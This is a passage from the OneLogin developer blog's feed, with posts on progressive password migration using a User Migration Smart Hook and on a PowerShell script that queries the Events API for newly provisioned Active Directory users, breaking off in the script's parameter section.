Want to learn more? Check out our &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;onelogin.com&#x2F;product&#x2F;smart-hooks?utm_medium=web&amp;amp;utm_source=blog&amp;amp;utm_campaign=smarthooks_mar2021&quot;&gt;product page&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;api-docs&#x2F;2&#x2F;hooks&#x2F;overview?utm_medium=web&amp;amp;utm_source=blog&amp;amp;utm_campaign=smarthooks_mar2021&quot;&gt;developer documentation&lt;&#x2F;a&gt;, or &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;product-demo?utm_medium=web&amp;amp;utm_source=blog&amp;amp;utm_campaign=smarthooks_mar2021&quot;&gt;request a free demo&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Smart Hooks: What is a User Migration Hook?</title>
        <published>2021-03-23T00:00:00+00:00</published>
        <updated>2021-03-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/user-migration-smart-hook/"/>
        <id>https://developers.onelogin.com/blog/user-migration-smart-hook/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/user-migration-smart-hook/">&lt;p&gt;Over the past few years, there’s been a significant increase in the number of consumer-facing companies looking to outsource identity storage and authentication for users of their software applications. In the identity industry, this is commonly known as &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;learn&#x2F;what-is-customer-identity-access-management&quot;&gt;Customer Identity and Access Management (CIAM)&lt;&#x2F;a&gt;.
The CIAM shift is primarily driven by increasing complexities to maintain and secure user directories, as well as staying current with the latest authentication trends and technologies. Think social or passwordless logins, risk-based adaptive multi-factor authentication, and biometrics, such as Face ID.
Rather than grow an inhouse identity team, many consumer-focused companies elect to outsource this function to a cloud identity provider, like OneLogin, so they can focus on building and selling their core competency. Focus is the key to success, so clearly outsourcing makes a lot of sense.
As companies embark on their identity and authentication upgrade journey, there are many aspects to consider such as branding and customer experience, but the often overlooked elephant in the room is the question - how do we migrate all of our users? As they dig into this question, they quickly realize that migrating user passwords is quite possibly the most complex part of the project.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-are-my-user-migration-options&quot;&gt;What are my user migration options?&lt;&#x2F;h2&gt;
&lt;p&gt;Generally speaking, there are two options for migrating users. It can be done in a single bulk upgrade or progressively over time. The choice of which path to take is often dictated by how user passwords are stored.
For example, if for some unforgivable insecure reason, passwords are stored in plain text, then it makes it very easy to perform a bulk migration. However, if passwords are stored using a proprietary hashing algorithm that is not supported by the destination CIAM provider, then a progressive user migration is required.
OneLogin has solutions for both bulk migration (when the password has been hashed in one of a selection of supported formats) and progressive migration by utilizing a User Migration Hook.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;how-does-a-user-migration-hook-work&quot;&gt;How does a User Migration Hook work?&lt;&#x2F;h2&gt;
&lt;p&gt;The User Migration Hook is part of &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;blog&#x2F;platform-extensibility-smart-hooks&quot;&gt;OneLogin’s serverless Smart Hooks platform&lt;&#x2F;a&gt;. It allows for a customized connection to any external database or Identity Provider (IDP) when users authenticate. This is extremely useful as it allows you to validate user passwords against another system before creating them in the OneLogin directory and continuing with the login.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;user-migration-hooks.png&quot; alt=&quot;How a user migration hook works&quot;&gt;
After a user enters their username and password, a check is performed against the OneLogin user directory. If the user is not found in OneLogin, then the User Migration Hook is triggered.
Given that the User Migration Hook is part of the Smart Hooks platform, this means a customizable script can be executed to validate the username and password in an external system. The User Migration Hook only runs once for each user, meaning that the next time the user authenticates, they’re added to the OneLogin user directory and the user migration is complete.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-about-other-user-attributes&quot;&gt;What about other user attributes?&lt;&#x2F;h2&gt;
&lt;p&gt;It’s often the case that you want to store other information about the user, perhaps their first and last name, email address, or phone number.
The User Migration Hook also supports the migration of these standard user attributes as well as any custom attributes such as: a customer ID, preferences, or any other reference information.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;optimizing-for-experience&quot;&gt;Optimizing for experience&lt;&#x2F;h2&gt;
&lt;p&gt;You can only imagine the mess of support tickets from confused customers if you migrated users without their passwords and sent out a blanket email asking them to change their password.
The goal is always to upgrade without impacting the user experience, which means no downtime, and no unexpected prompts to change a password. This would be the case if you were not able to migrate passwords over to your identity provider.
OneLogin’s User Migration Hook is an extremely powerful tool to use when you embark on a CIAM upgrade project. It provides an efficient way to validate a username and password in an external system, and then creates a new user record in a modern cloud-based directory when users authenticate. The best part is when the entire migration process is seamless and the user has no idea they were moved to a new directory.
Interested in learning more about Smart Hooks? Check out our &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;onelogin.com&#x2F;product&#x2F;smart-hooks?utm_medium=web&amp;amp;utm_source=blog&amp;amp;utm_campaign=smarthooks_mar2021&quot;&gt;Smart Hooks product page&lt;&#x2F;a&gt; or &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;company&#x2F;contact?utm_medium=web&amp;amp;utm_source=blog&amp;amp;utm_campaign=smarthooks_blog1_mar2021&quot;&gt;get in touch&lt;&#x2F;a&gt; – we would love to work through your use case and help solve problems using Smart Hooks.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Post-Provisioning Processing of Users in Active Directory</title>
        <published>2021-03-16T00:00:00+00:00</published>
        <updated>2021-03-16T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/post-provisioning-processing-users-ad/"/>
        <id>https://developers.onelogin.com/blog/post-provisioning-processing-users-ad/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/post-provisioning-processing-users-ad/">&lt;p&gt;One of the hot features that OneLogin offers is an HRIS-driven workflow that onboards employees from the HRIS solution into OneLogin and includes provisioning into Active Directory from OneLogin. A common ask for an export-mode Active Directory instance is to perform additional tasks after the user has been created. One standard request is to immediately add the new user to an AD security group necessary for their job function, much like we immediately add to OneLogin Roles. These extra steps are too unique to a customer’s environment to be easily addressed in the OneLogin provisioning engine or Active Directory Connector software, but they can often be accomplished through PowerShell commandlets. PowerShell can access the user object in Active Directory easily enough, the only pieces missing - the answers to the question “which user and what are their user details?” - can be answered through the OneLogin API interface.
This article describes the events and API calls necessary to find out *which user *and &lt;em&gt;what are their details&lt;&#x2F;em&gt; and provide you with some sample Windows commands to feed your creative process.
The script this article builds is written so you can use the Windows scheduler to run the script in a task once a day to update accounts newly created in your AD by OneLogin or as you see fit.
I will attempt to spice up this otherwise dry topic of marrying PowerShell and OneLogin API with a few memes or other relevant social cues.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;active-directory-added-to-their-story&quot;&gt;Active Directory Added to their Story&lt;&#x2F;h1&gt;
&lt;p&gt;“A user was added to Active Directory” is so boring! The event is &lt;em&gt;much&lt;&#x2F;em&gt; more exciting than that statement conveys – we are automatically provisioning new accounts to AD for you! That’s a big story already!
So let’s think of this event in terms of an update in Social media. You need notifications about the story.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;notifications.png&quot; alt=&quot;Snapchat: Active Directory added to their Story&quot;&gt;
Fortunately, there are events in OneLogin to help you read the story. You could read the article in our knowledge base about &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;onelogin.service-now.com&#x2F;support?id=kb_category&amp;amp;kb_category=00b6ad30db185340d5505eea4b9619ae&quot;&gt;Reporting and Monitoring&lt;&#x2F;a&gt; but it barely scratches the surface. The Developers site article &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;api-docs&#x2F;1&#x2F;events&#x2F;event-resource&quot;&gt;Event Resource and Types&lt;&#x2F;a&gt; is a better resource on &lt;em&gt;what&lt;&#x2F;em&gt; is told in the story.
&lt;em&gt;Note&lt;&#x2F;em&gt;: The events list is a growing list. It expands as we expand our functionality.  You may want to regularly review the Developers site.
Event Resource and Types contains the one you are interested in:
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;event-type-ids.png&quot; alt=&quot;Events Types list&quot;&gt;
&lt;em&gt;Event #80: User provisioned in directory&lt;&#x2F;em&gt;
This event is recorded in OneLogin after the user has been successfully created in the directory. This is &lt;em&gt;what&lt;&#x2F;em&gt; you want to look for, but if you fire that off now it will show the matching event potentially going back years, so you need to put a limit by specifying &lt;em&gt;when&lt;&#x2F;em&gt; you want it to look.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;event-years.png&quot; alt=&quot;Matching event going back years&quot;&gt;
&lt;em&gt;Not that any of these dates would be valid…&lt;&#x2F;em&gt;
Let us begin by looking at the API endpoint that you will call.
The &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;api-docs&#x2F;1&#x2F;events&#x2F;get-events&quot;&gt;Get Events&lt;&#x2F;a&gt; API endpoint specifies a query string that limits the results returned. You can use three options of the query_string to limit our results to just the appropriate events:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Event_type_id&lt;&#x2F;li&gt;
&lt;li&gt;Since&lt;&#x2F;li&gt;
&lt;li&gt;Until&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
*Note*: You can also get away with only *two* fields if you want to leave &quot;until&quot; unspecified; it will use the exact time of the query. For a more precise approach, specify Until.
The Developers [Get Events resource](https:&#x2F;&#x2F;developers.onelogin.com&#x2F;api-docs&#x2F;1&#x2F;events&#x2F;get-events#) provides excellent documentation on doing exactly what you want. The examples in the page provide some detailed tutorials on fetching particular events by specific event type and limited by time. We&#x27;ll build off those examples with simple modifications.
The challenge is doing it all in PowerShell, so let&#x27;s get started.
# Playing with Time
The time format required for the API endpoint needs to be in the Coordinated Universal Time (UTC) ISO8601 format. This looks like:
&lt;ul&gt;
&lt;li&gt;2021-02-25T00:35:46.697Z&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
In simple terms, that is:
&lt;ul&gt;
&lt;li&gt;Four digit year&lt;&#x2F;li&gt;
&lt;li&gt;Hyphen two-digit month&lt;&#x2F;li&gt;
&lt;li&gt;Hyphen two-digit day of the month&lt;&#x2F;li&gt;
&lt;li&gt;&quot;T&quot; (capital t)&lt;&#x2F;li&gt;
&lt;li&gt;Two-digit hour in UTC&lt;&#x2F;li&gt;
&lt;li&gt;Colon two-digit minutes&lt;&#x2F;li&gt;
&lt;li&gt;Colon two-digit seconds&lt;&#x2F;li&gt;
&lt;li&gt;Period three-digit microseconds&lt;&#x2F;li&gt;
&lt;li&gt;Z (for UTC)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
Look tough? Does it look like you need a Doctor or Time Lord?
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;time-utc.png&quot; alt=&quot;Did someone say...Doctor Who&quot;&gt;
No Doctor needed!
PowerShell makes this *somewhat* easy to calculate and specify the format exactly. You use the *Hours* parameter to instruct PowerShell to subtract however many hours we need subtracted from the time this runs and then convert the resulting calculated time to the exact format you need using this line:
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$start&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span&gt;DateTime&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span&gt;::&lt;&#x2F;span&gt;&lt;span&gt;Now&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;AddHours&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;$Hours&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;ToUniversalTime&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;ToString&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;yyyy-MM-ddTHH:mm:ss.fffZ&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And just like that, we turned back time.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;time-cher.jpg&quot; alt=&quot;If I could turn back time&quot;&gt;
If you wish to log the time the command runs to the screen or to a logfile, populate additional variables too.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$now&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span&gt;DateTime&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span&gt;::&lt;&#x2F;span&gt;&lt;span&gt;Now&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;ToString&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;yyyy-MM-ddTHH:mm:ss.fffz&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$utcnow&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt;  [&lt;&#x2F;span&gt;&lt;span&gt;DateTime&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span&gt;::&lt;&#x2F;span&gt;&lt;span&gt;Now&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;ToUniversalTime&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;ToString&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;yyyy-MM-ddTHH:mm:ss.fffZ&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$start&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span&gt;DateTime&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span&gt;::&lt;&#x2F;span&gt;&lt;span&gt;Now&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;AddHours&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;$Hours&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;ToUniversalTime&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;ToString&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;yyyy-MM-ddTHH:mm:ss.fffZ&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;# PowerShell Sends Friend Request&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;The most daunting task is getting PowerShell and the OneLogin API endpoints on speaking terms.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;lt;img src=&amp;quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;powershell-friend-request.png&amp;quot; alt=&amp;quot;PowerShell sent you a friend request&amp;quot;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;You will need Read Users API credentials to perform this operation, which is the lowest permission credential that can perform the tasks necessary.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;lt;img src=&amp;quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;new-api-credential.png&amp;quot; alt=&amp;quot;Create new API credential&amp;quot;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;These credentials can be saved as variables in the script or passed in via command line options during execution. They will be used to [obtain an Access Token](https:&#x2F;&#x2F;developers.onelogin.com&#x2F;api-docs&#x2F;1&#x2F;getting-started&#x2F;working-with-api-credentials) from the API endpoint for authentication so you can call the other APIs to obtain events and user information.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;The script example will have you define these in a *param* section, which allows you to actually store blank variables in the script (if you prefer for security&amp;#39;s sake) and provide the specific variables necessary at runtime via the command line options. (Note: Replace &amp;lt;subdomain&amp;gt; with your OneLogin subdomain.)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span&gt;javascript&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;param&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    # &lt;&#x2F;span&gt;&lt;span&gt;Set&lt;&#x2F;span&gt;&lt;span&gt; debug&lt;&#x2F;span&gt;&lt;span&gt; level&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    [&lt;&#x2F;span&gt;&lt;span&gt;int&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span&gt;$debug&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    # &lt;&#x2F;span&gt;&lt;span&gt;Set&lt;&#x2F;span&gt;&lt;span&gt; Hours&lt;&#x2F;span&gt;&lt;span&gt; Between&lt;&#x2F;span&gt;&lt;span&gt; run&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    [&lt;&#x2F;span&gt;&lt;span&gt;int&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span&gt;$Hours&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;99&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    # &lt;&#x2F;span&gt;&lt;span&gt;EventIds&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;80&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; User&lt;&#x2F;span&gt;&lt;span&gt; provisioned&lt;&#x2F;span&gt;&lt;span&gt; to&lt;&#x2F;span&gt;&lt;span&gt; directory&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    [&lt;&#x2F;span&gt;&lt;span&gt;string&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span&gt;$EventId&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;80&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    # &lt;&#x2F;span&gt;&lt;span&gt;APIhost&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    $APIhost&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;lt;subdomain&amp;gt;.onelogin.com&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    # &lt;&#x2F;span&gt;&lt;span&gt;Creds&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    $APIclientid&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;therespineappleshrimplemonshrimpcoconutshrimppeppershrimpshrimpsoup&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    $APIclientsecret&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;shrimpstewshrimpsaladshrimpandpotatoesshrimpburgershrimpsandwich&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;A few other things in the param section that are optional but nicely handled using this mechanism:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Debug level&lt;&#x2F;li&gt;
&lt;li&gt;Hours&lt;&#x2F;li&gt;
&lt;li&gt;EventID&lt;&#x2F;li&gt;
&lt;li&gt;API host&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
